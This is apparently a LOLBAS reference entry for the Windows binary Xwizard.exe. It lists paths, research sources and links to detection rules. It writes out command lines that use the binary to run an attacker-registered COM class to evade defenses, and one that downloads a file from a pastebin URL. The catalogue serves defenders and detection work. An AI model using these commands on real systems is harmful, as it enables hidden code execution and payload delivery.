

# .. /Xwizard.exe

[Execute](#)[Download \(INetCache\)](#)

Execute custom class that has been added to the registry or download a file with Xwizard.exe

## Paths:

C:\Windows\System32\xwizard.exe

C:\Windows\SysWOW64\xwizard.exe

## Resources:

- <http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/>
- <https://www.youtube.com/watch?v=LwDHX7DVHWU>
- <https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5>
- <https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/>
- <https://twitter.com/notwhickey/status/1306023056847110144>

## Acknowledgements:

- Adam ([@Hexacorn](#))
- Nick Tyrer ([@NickTyrer](#))
- harr0ey ([@harr0ey](#))
- Wade Hickey ([@notwhickey](#))

## Detections:

- Sigma: [https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process\\_creation/proc\\_creation\\_win\\_lolbin\\_class\\_exec\\_xwizard.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml)
- Sigma: [https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process\\_creation/proc\\_creation\\_win\\_lolbin\\_dll\\_sideload\\_xwizard.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml)
- Elastic: [https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution\\_com\\_object\\_xwizard.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml)
- Elastic: [https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense\\_evasion\\_unusual\\_process\\_network\\_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml)

## Execute

.Xwizard.exe running a custom class that has been added to the registry.

```
xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}
```

**Use case:** Run a com object created in registry to evade defensive counter measures

**Privileges required:** User

**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1218

Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.

```
xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}
```

**Use case:** Run a com object created in registry to evade defensive counter measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1218

## Download

Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.

```
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /zhhttps://pastebin.com/raw/iLxUT5gM
```

**Use case:** Download file from Internet  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
**ATT&CK® technique:** T1105

**Tags:** Download: INetCache